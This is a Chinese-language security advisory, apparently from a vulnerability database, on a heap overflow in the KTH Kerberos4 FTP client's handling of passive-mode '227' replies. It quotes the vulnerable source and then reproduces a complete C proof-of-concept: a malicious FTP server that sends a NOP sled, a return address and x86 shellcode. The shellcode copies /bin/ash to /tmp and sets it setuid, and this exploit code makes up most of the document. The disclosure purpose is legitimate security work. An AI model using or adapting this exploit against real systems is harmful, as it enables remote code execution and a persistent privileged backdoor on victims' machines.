KTH eBones Kerberos4 FTP客户端被动模式堆溢出漏洞发布时间:2002-04-27 更新时间:2002-04-27 严重程度:高 威胁程度:远程管理员权限 错误类型:边界检查错误 利用方式:客户机模式 BUGTRAQ ID:4592 受影响系统 KTH Kerberos 4 1.0.2详细描述 由KTH分发和维护的Kerberos4 eBones FTP客户端实现存在一个堆溢出,问题只存在UNIX和LINUX系统下。 当客户端处理来自服务器端对客户端被动模式请求的响应时存在漏洞,超长的IP和端口类型的服务器'227'响应,可导致FTP客户端堆溢出,以FTP的进程执行任意命令。问题存在于如下代码: krb4-1.1.1/appl/ftp/ftp/ftp.c ---------------- int getreply (int expecteof) { . . . if (code == 227 || code == 229) { char *p, *q; pasv[0] = 0; p = strchr (reply_string, '('); if (p) { p++; q = strchr(p, ')'); if(q){ memcpy (pasv, p, q - p); // <- heap overflow pasv[q - p] = 0; } } } ------------- 测试代码 /* Proof Of Concept exploit against Kerberos4-1.1.1 ftp client 23/04/2002 egg: x86 linux, 95 bytes cp /bin/ash /tmp/ash chmod 4755 /tmp/ash Marcell Fodor m.fodor@mail.datanet.hu */ #include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include <string.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netdb.h> #include <unistd.h> #define HIT "\xa0\x01\x07\x08" #define SERVERPORT (3568) #define SEND(a) write(sock, a, strlen(a)) #define NOP 0x90 #define _BANNER "220 evil ready\n" #define _USER "331 user oke\n" #define _PASS "230 pass oke\n" #define _SYST "215 evil\n" #define _GO "530 go on\n" #define _END "530 look what i did to you\n" static unsigned char egg[] = "\x68\x2f\x62\x69\x6e\x5f\x6a\x70\x58\x66\x50\x66\x68\x2f\x63\x57" "\x54\x5b\x31\xf6\x56\x54\x5a\x68\x2f\x61\x73\x68\x59\x51\x57\x54" "\x5d\x56\x51\x68\x2f\x74\x6d\x70\x54\x59\x56\x51\x55\x53\x54\x51" "\x5d\x59\xb0\x02\xcd\x80\x39\xc6\x75\x06\xb0\x0b\xcd\x80\xeb\x1a" "\x31\xdb\x4b\x56\x54\x59\x31\xd2\x6a\x07\x58\xcd\x80\x31\xc9\x66" "\xb9\x6d\x09\x55\x5b\x6a\x0f\x58\xcd\x80\x6a\x01\x58\xcd\x80\x00"; int main(int argc, char *argv[]) { int c, sock, ret; int e = sizeof(struct sockaddr_in); struct sockaddr_in l, r; int serverport = SERVERPORT; l.sin_family = AF_INET; l.sin_port = htons(serverport); l.sin_addr.s_addr = INADDR_ANY; bzero(&(l.sin_zero), 8); c = socket(AF_INET, SOCK_STREAM, 0); ret = bind(c,(struct sockaddr *) &l, sizeof(struct sockaddr)); if (ret) { printf("bind failed\n"); _exit(0); } ret = listen(c, 1); if (ret) { printf("listen failed\n"); _exit(0); } printf("Evil ftpd accepting connections on port:%d\n", serverport); while ((sock = accept(c, (struct sockaddr *) &r, &e))) { if (!fork()) { int ret, ok = 0; char buffer[8192]; SEND(_BANNER); do { memset(buffer, 0, sizeof(buffer)); ret = read(sock, buffer, sizeof(buffer) - 1); if (ret < 1) _exit(0); /* hmm..?$#%! */ if (!strncmp(buffer, "USER", 4)) SEND(_USER); else if (!strncmp(buffer, "PASS", 4)) SEND(_PASS); else if (!strncmp(buffer, "SYST", 4)) SEND(_SYST); else if (!strncmp(buffer, "PASV", 4)) ok = 1; else if (!strncmp(buffer, "EPRT", 4)) ok = 1; else SEND(_GO); } while(!ok); memset(buffer, 0, sizeof(buffer)); strcpy(buffer, "227 ("); memset(buffer + strlen(buffer), NOP, 1319); strcat(buffer, HIT); strcat(buffer, ")\n"); memcpy(buffer + strlen(buffer) - 10 - strlen(egg), egg, strlen(egg)); SEND(buffer); SEND(_END); close(sock); _exit(0); } close(sock); } _exit(0); } 解决方案 尚无 相关信息 Marcell Fodor <m.fodor@mail.datanet.hu>. 参考:http://online.securityfocus.com/archive/1/269356 相关主页:http://www.pdc.kth.se/kth-krb/ |